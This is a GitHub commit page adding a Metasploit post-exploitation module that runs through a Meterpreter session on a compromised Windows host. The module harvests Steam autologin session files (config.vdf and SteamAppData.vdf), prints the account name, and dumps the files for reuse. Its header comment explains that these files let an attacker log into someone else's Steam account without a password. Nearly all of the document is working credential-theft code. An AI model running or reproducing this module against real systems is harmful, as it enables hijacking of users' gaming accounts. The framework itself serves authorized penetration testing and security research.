Skip to content

Commit 462766a

Browse files
committed
Added Steam client session collector post module
1 parent e989142 commit 462766a

File tree

1 file changed

+110
-0
lines changed
  • modules/post/windows/gather/credentials

1 file changed

+110
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
##
2+
# $Id: steam.rb
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
##
13+
# All that is needed to login to another Steam account is config.vdf,
14+
# setting the AutoLoginUser to the proper username and RememberPassword
15+
# to 1 in SteamAppData.vdf.
16+
# Only tested on Win7 x64
17+
#
18+
# config.vdf , ContentCache element holds a K,V table of what appears
19+
# to be UniqueID, Session. This is purely speculation as I have not
20+
# reversed it to check. However the key is always unique to the account
21+
# and the value changes whenever the account is logged out and then
22+
# back in.
23+
##
24+
25+
require 'msf/core'
26+
require 'msf/core/post/file'
27+
28+
class Metasploit3 < Msf::Post
29+
30+
include Msf::Post::File
31+
32+
def initialize(info={})
33+
super( update_info(info,
34+
'Name' => 'Steam client session Collector.',
35+
'Description' => %q{ This module will collect Steam session information from an
36+
account set to autologin. },
37+
'License' => MSF_LICENSE,
38+
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
39+
'Version' => '$Revision: 00001 $',
40+
'Platform' => ['win'],
41+
'SessionTypes' => ['meterpreter' ]
42+
))
43+
register_options(
44+
[
45+
OptPath.new('OUTPUT_FOLDER', [false, 'Where to dump the config files for use with
46+
steam. (if not specified it is printed to the screen)'])
47+
], self.class)
48+
49+
end
50+
51+
def run
52+
drive = session.fs.file.expand_path('%SystemDrive%')
53+
steamappdata = 'SteamAppData.vdf'
54+
steamconfig = 'config.vdf'
55+
u_rx = /AutoLoginUser\W*\"(.*)\"/
56+
57+
case session.sys.config.sysinfo['Architecture']
58+
when /x64/
59+
progs = drive + '\\Program Files (x86)\\'
60+
when /x86/
61+
progs = drive + '\\Program Files\\'
62+
end
63+
path = progs + 'Steam\\config\\'
64+
65+
print_status("Checking for Steam in: #{path}")
66+
67+
begin
68+
session.fs.dir.entries(path)
69+
rescue ::Exception => e
70+
print_error(e.to_s)
71+
return
72+
end
73+
74+
session.fs.dir.foreach(path) do |fdir|
75+
# SteamAppData.vdf contains the autologin and rememberpassword
76+
if fdir.eql? 'SteamAppData.vdf'
77+
print_status("Found SteamAppData, checking for RememberPassword=1.")
78+
sad = session.fs.file.open(path + steamappdata)
79+
sad_d = sad.read()
80+
sad.close()
81+
if sad_d =~ /RememberPassword\W*\"1\"/
82+
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad_d)[1]}")
83+
end
84+
# config.vdf contains most importantly the ConnectCache K,V which appears to be
85+
# a session id that can be used to login to the account without credentials.
86+
scd = session.fs.file.open(path + steamconfig)
87+
scd_d = scd.read()
88+
scd.close()
89+
# If output folder is set, dump data there
90+
if datastore['OUTPUT_FOLDER']
91+
f = ::File.open(datastore['OUTPUT_FOLDER'] + '/config.vdf', 'wb')
92+
f.write(scd_d)
93+
f.close()
94+
f = ::File.open(datastore['OUTPUT_FOLDER'] + '/SteamAppData.vdf' ,'wb')
95+
f.write(sad_d)
96+
f.close()
97+
print_status("Files dumped to #{datastore['OUTPUT_FOLDER']}")
98+
# No output folder just dump config.vdf to the screen
99+
else
100+
print_line(scd_d)
101+
print_status("config.vdf dumped.")
102+
end
103+
return true
104+
end
105+
end
106+
print_status("Could not find steam config files.")
107+
return nil
108+
end
109+
110+
end

0 commit comments

Comments
 (0)